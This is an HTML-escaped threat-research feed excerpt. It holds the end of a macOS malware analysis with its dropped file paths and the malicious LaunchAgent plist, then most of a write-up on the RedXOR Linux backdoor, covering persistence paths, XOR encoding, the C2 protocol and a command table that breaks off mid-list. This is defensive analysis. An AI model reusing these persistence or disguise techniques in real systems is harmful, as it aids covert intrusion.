&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Mac&lt;span class="hx:absolute hx:-mt-20" id="mac-1"&gt;&lt;/span&gt;
&lt;a href="#mac-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine-2"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/Library/MacOsServices
/Library/MacOsServices/updateMacOs
/Library/SystemNetwork
/Library/LaunchAgents/com.apple.update.plist&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence-2"&gt;&lt;/span&gt;
&lt;a href="#persistence-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Creates persistence via LaunchAgent under the path:
&lt;code&gt;/Library/LaunchAgents/com.apple.update.plist&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Content:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE plist PUBLIC &amp;#34;-//Apple//DTD PLIST 1.0//EN&amp;#34; &amp;#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;plist&lt;/span&gt; &lt;span class="na"&gt;version=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;Label&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;com.apple.update&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;LimitLoadToSessionType&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;Aqua&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;ProgramArguments&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;array&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;/Library/MacOsServices/updateMacOs&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/array&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;KeepAlive&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;SuccessfulExit&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;true/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;RunAtLoad&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;true/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/plist&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>New Linux Backdoor RedXOR Likely Operated by Chinese Nation-State Actor</title><link>https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/</link><pubDate>Wed, 10 Mar 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/</guid><description>
&lt;ul&gt;
&lt;li&gt;We discovered a new sophisticated backdoor targeting Linux endpoints and
servers&lt;/li&gt;
&lt;li&gt;Based on Tactics, Techniques, and Procedures (TTPs) the backdoor is believed
to be developed by Chinese nation-state actors&lt;/li&gt;
&lt;li&gt;The backdoor masquerades itself as polkit daemon. We named it RedXOR for its
network data encoding scheme based on XOR. The malware was compiled on Red
Hat Enterprise Linux&lt;/li&gt;
&lt;li&gt;We provide recommendations for detecting and responding to this threat below&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;2020
&lt;a href="https://intezer.com/blog/cloud-security/2020-set-record-for-new-linux-malware-families/?utm_campaign=research-blog&amp;amp;utm_content=new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;set a record&lt;/a&gt;
for new Linux malware families. New malware families targeting Linux systems
are being discovered on a regular basis. Backdoors attributed to advanced
threat actors are disclosed less frequently.&lt;/p&gt;
&lt;p&gt;We have discovered an undocumented backdoor targeting Linux systems,
masqueraded as &lt;a href="https://linux.die.net/man/8/polkitd"target="_blank" rel="noopener"&gt;polkit daemon&lt;/a&gt;. We named
it RedXOR for its network data encoding scheme based on XOR.&lt;/p&gt;
&lt;p&gt;Based on victimology, as well as similar components and Tactics, Techniques,
and Procedures (TTPs), we believe RedXOR was developed by high profile Chinese
threat actors. The samples, which have low detection rates in VirusTotal, were
uploaded from Indonesia and Taiwan, countries known to be targeted by Chinese
threat actors. The samples are compiled with a legacy GCC compiler on an old
release of Red Hat Enterprise Linux, hinting that RedXOR is used in targeted
attacks against legacy Linux systems.&lt;/p&gt;
&lt;p&gt;During our investigation we experienced an &amp;ldquo;on and off&amp;rdquo; availability of the
Command and Control (C2) server indicating that the operation is still active.&lt;/p&gt;
&lt;h2&gt;Connections to Chinese Threat Actors&lt;span class="hx:absolute hx:-mt-20" id="connections-to-chinese-threat-actors"&gt;&lt;/span&gt;
&lt;a href="#connections-to-chinese-threat-actors" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We uncovered key similarities between RedXOR and previously reported malware
associated with Winnti umbrella threat group. These malware are PWNLNX backdoor
and XOR.DDOS and Groundhog, two botnets attributed to Winnti by
&lt;a href="https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"target="_blank" rel="noopener"&gt;BlackBerry&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The below samples can be used for reference:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PWNLNX –
&lt;a href="https://analyze.intezer.com/files/6a9f16440b9319f427825bb12d7a0cda89b101cf7b8b15ec7dd620b4d68db514?utm_campaign=research-blog&amp;amp;utm_content=new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;4278ab79c34ea92788259fb43e535aa3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;XOR.DDOS –
&lt;a href="https://analyze.intezer.com/files/dba757c20fbc1d81566ef2877a9bfca9b3ddb84b9f04c0ca5ae668b7f40ea8c3?utm_campaign=research-blog&amp;amp;utm_content=new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;d6a6dee6afa6879b729a0af3cde7ff33&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Similarities between the samples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Use of old open-source kernel rootkits: RedXOR uses an open-source LKM
rootkit called &amp;ldquo;&lt;a href="https://github.com/yaoyumeng/adore-ng"target="_blank" rel="noopener"&gt;Adore-ng&lt;/a&gt;&amp;rdquo; to hide
its process. Based on a
&lt;a href="https://content.fireeye.com/apt-41/rpt-apt41/"target="_blank" rel="noopener"&gt;FireEye report&lt;/a&gt; Winnti used
this rootkit in their &amp;ldquo;ADORE.XSE&amp;rdquo; Linux backdoor. Embedding open-source LKM
rootkits is a common Winnti technique. The group has been documented using
&lt;a href="https://medium.com/chronicle-blog/winnti-more-than-just-windows-and-gates-e4f03436031a"target="_blank" rel="noopener"&gt;Azazel&lt;/a&gt;
and
&lt;a href="https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf#MKTG%2020-0089%20Decade_the_RAT%27s_Report.indd%3A.176091%3A522"target="_blank" rel="noopener"&gt;Suterusu&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The &lt;code&gt;CheckLKM&lt;/code&gt; function name used by RedXOR has also been used in PWNLNX and
XOR.DDOS.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Provides the operator with a pseudo-terminal: RedXOR uses Python pty shell by
importing the &lt;a href="https://docs.python.org/3/library/pty.html"target="_blank" rel="noopener"&gt;python pty&lt;/a&gt;
library. PWNLNX implements the pty shell function in c.
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig1.png" title="Figure 1: Python pty shell used in RedXOR" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Python pty shell used in RedXOR&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Encoding network with XOR: The backdoor encodes its network data with a
scheme based on XOR. Encoding network data with XOR has been used in previous
Winnti malware including PWNLNX.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Persistence service name: As part of its persistence methods, RedXOR attempts
to create a service under rc.d. The developer added &amp;ldquo;S99&amp;rdquo; before the name of
the service to lower its priority and make it run last on system initiation.
This technique was used in XOR.DDOS and Groundhog samples where the malware
developer added &amp;ldquo;S90&amp;rdquo; to the service name.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Main functions flow: PWNLX and RedXOR have a main function which is in charge
of initialization. In both backdoors, the main function calls another
function which is in charge of the main logic. The main logic function names
are main_process in RedXOR and MainThread in PWLNX. Both main functions
daemonize the process to detach from the terminal and run in the background.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;XML for file listing: RedXOR’s directory function and PWNLNX’s getfiles
function are both in charge of directory listing. Their code flow
implementation is different, however, as both malware send the directory
listing as an XML file to the C2 server. Figure 2 shows the XML structure
used in PWNLNX and RedXOR. The file’s data used in both functions are: path,
name, type, user, permission, size, time.
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig2.png" title="Figure 2: The XML structure used by PWNLNX’s getfiles function and RedXOR’s directory function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 2: The XML structure used by PWNLNX’s getfiles function and RedXOR’s directory function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Legacy Red Hat compilers: RedXOR and PWNLNX were both compiled with a Red Hat
4.4.7 compiler. This compiler is the default GCC compiler on RHEL6.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chown similarity: Both PWNLNX and RedXOR change the file’s user and group
owner to a large ID. The same technique has been used by the XOR.DDoS malware
as referenced in the analysis by
&lt;a href="https://blog.malwaremustdie.org/2014/09/mmd-0028-2014-fuzzy-reversing-new-china.html"target="_blank" rel="noopener"&gt;MalwareMustDie&lt;/a&gt;.
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig3.png" title="Figure 3: Similarity between PWNLNX and RedXOR of the UID and GID used with lchown function call" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 3: Similarity between PWNLNX and RedXOR of the UID and GID used with lchown function call&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Overall flow and functionalities: The overall code flow, behavior, and
capabilities of RedXOR are very similar to PWNLNX. Both have file uploading
and downloading functionalities together with a running shell. The network
tunneling functionality in both families is called &amp;ldquo;PortMap&amp;rdquo;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unstripped ELF binaries: Malware developers will often tamper with a file’s
symbols and/or sections, making it harder for researchers to analyze them.
However, RedXOR and various Winnti malware, including PWNLNX and XOR.DDOS,
are unstripped.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The samples are both unstripped 64-bit ELF files called po1kitd-update-k.
Uploaded to VirusTotal from Taiwan and Indonesia, they are low detected at the
time of this writing.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig4.png" title="Figure 4: 2bd6e2f8c1a97347b1e499e29a1d9b7c in VirusTotal" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 4: 2bd6e2f8c1a97347b1e499e29a1d9b7c in VirusTotal&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Malware Installation&lt;span class="hx:absolute hx:-mt-20" id="malware-installation"&gt;&lt;/span&gt;
&lt;a href="#malware-installation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Upon execution RedXOR forks off a child process allowing the parent process to
exit. The purpose is to detach the process from the shell. The new child
determines if it has been executed as the root user or as another user on the
system. It does this to create a hidden folder, called &lt;code&gt;.po1kitd.thumb&lt;/code&gt;, inside
the user’s home folder which is used to store files related to the malware. The
malware creates a hidden file called &lt;code&gt;.po1kitd-2a4D53&lt;/code&gt; inside the folder. The
file is locked to the current running process, seen in Figure 5, essentially
creating a mutex. If another instance of the malware is executed, it also tries
to obtain the lock but ultimately fails. Upon this failure the process exits.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig5.png" title="Figure 5: The malware creates a mutex file locking it to the process ID" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 5: The malware creates a mutex file locking it to the process ID&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After the malware creates the mutex, it installs itself on the infected
machine. As shown in Figure 6, the malware looks up its current path and moves
the binary to the created folder. It hides the file by naming it
&lt;code&gt;.po1kitd-update-k&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig6.png" title="Figure 6: Malware moves the binary to the hidden folder po1kitd.thumb created earlier. It first tries to use the rename function provided by libc. If this fails, it executes an mv shell command via the system function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 6: Malware moves the binary to the hidden folder po1kitd.thumb created earlier. It first tries to use the rename function provided by libc. If this fails, it executes an mv shell command via the system function&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;After installing the binary to the hidden folder, the malware sets up
persistence via &lt;code&gt;init&lt;/code&gt; scripts. The following files are created after executing
the malware on boot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/usr/syno/etc/rc.d/S99po1kitd-update.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/init.d/po1kitd-update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/rc2.d/S99po1kitd-update&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The malware checks if the rootkit is active by creating a file and removing it.
Then, the malware compares the &amp;ldquo;saved set-user-ID&amp;rdquo; of the process to the user
ID. If they don’t match, the rootkit is enabled. If they match, it looks to see
if the user ID is &amp;ldquo;10&amp;rdquo;. If this is the case, the rootkit is enabled. This logic
is shown in Figure 7.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig7.png" title="Figure 7: Logic used by RedXOR to check if the rootkit is enabled" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 7: Logic used by RedXOR to check if the rootkit is enabled&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;CheckLKM&lt;/code&gt; logic is almost identical to the &lt;code&gt;adore_init&lt;/code&gt; function in the
&amp;ldquo;adore-ng&amp;rdquo; rootkit. Afore-ng is a Chinese open-source LKM (Loadable Kernel
Module) rootkit. This technique allows the malware to stay under the radar by
hiding its processes. The code for the init function is shown in Figure 8.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig8.png" title="Figure 8: Client authentication code for the adore-ng rootkit" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 8: Client authentication code for the adore-ng rootkit&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Configuration&lt;span class="hx:absolute hx:-mt-20" id="configuration"&gt;&lt;/span&gt;
&lt;a href="#configuration" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware stores the configuration encrypted within the binary. In addition
to the Command and control (C2) IP address and port it can also be configured
to use a proxy. The configuration includes a password, as can be seen in Figure
9. This password is used by the malware to authenticate to the C2 server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig9.png" title="Figure 9: Configuration options for the malware" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Configuration options for the malware&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The configuration values are decrypted by the &lt;code&gt;doXor&lt;/code&gt; function. A pseudo-code
representation of the function is shown in Figure 10. The decryption logic is a
simple XOR against a byte key. The byte key is incremented by a constant for
each item in the buffer. The only configuration value that is not encrypted is
the server port. The port value is used to derive the key and the adder. The
key is derived from bit shifting the port value eight steps to the right. The
constant uses the port value.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig10.png" title="Figure 10: Decryption logic of the configuration data. The data is XORed against a key byte that is incremented by a constant for each entry in the buffer" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: Decryption logic of the configuration data. The data is XORed against a key byte that is incremented by a constant for each entry in the buffer&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Communication with the C2&lt;span class="hx:absolute hx:-mt-20" id="communication-with-the-c2"&gt;&lt;/span&gt;
&lt;a href="#communication-with-the-c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware communicates with the C2 server over a TCP socket. The traffic is
made to look like HTTP traffic. Figure 11 shows a pseudo-code representation of
the function used by the malware to prepare data that is to be sent to the C2
server. First, it fills the buffer with null bytes. The request body is XORed
against a key. The malware uses the buffer length as the key. This value is
also passed into the function as the &amp;ldquo;total_length&amp;rdquo; argument.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig11.png" title="Figure 11: Function for preparing data to be sent to the C2 server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: Function for preparing data to be sent to the C2 server&lt;/figcaption&gt;
&lt;/figure&gt;
The same logic is used to decrypt the response body from the C2 server. From
the response, the malware extracts &amp;ldquo;JSESSIONID&amp;rdquo;, &amp;ldquo;Content-Length&amp;rdquo;,
&amp;ldquo;Total-Length&amp;rdquo; and the response body. The data is added to a struct with the
following layout:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;0x0 JSESSIONID as int
0x8 Content-Length as long
0x10 Total-Length as long
0x18 Response body&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The content length is the length of the response body but also used as the key.
The total length value is used as a constant which is added to the key in each
iteration. The JSESSIONID value holds the command ID for the job the C2 wants
the malware to perform.&lt;/p&gt;
&lt;h3&gt;Commands&lt;span class="hx:absolute hx:-mt-20" id="commands"&gt;&lt;/span&gt;
&lt;a href="#commands" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The C2 server tells the malware to execute different commands via a command
code that is returned in the &amp;ldquo;JSESSIONID&amp;rdquo; cookie. The codes are encoded as
decimal integers. A full list of commands supported by the analyzed malware
sample are shown in the table below. They can be grouped into command types.
Commands in the 2000 range provide &amp;ldquo;filesystem&amp;rdquo; interaction, 3000 handle
&amp;ldquo;shell&amp;rdquo; commands, and 4000 handle network tunneling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Table 1: List of commands supported by the malware&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0000&lt;/td&gt;
&lt;td&gt;System information&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0008&lt;/td&gt;
&lt;td&gt;Update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0009&lt;/td&gt;
&lt;td&gt;Uninstall&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;Ping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1010&lt;/td&gt;
&lt;td&gt;Install LKM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2049&lt;/td&gt;
&lt;td&gt;List folder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2054&lt;/td&gt;
&lt;td&gt;Upload file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2055&lt;/td&gt;
&lt;td&gt;Open file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2056&lt;/td&gt;
&lt;td&gt;Execute with system&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
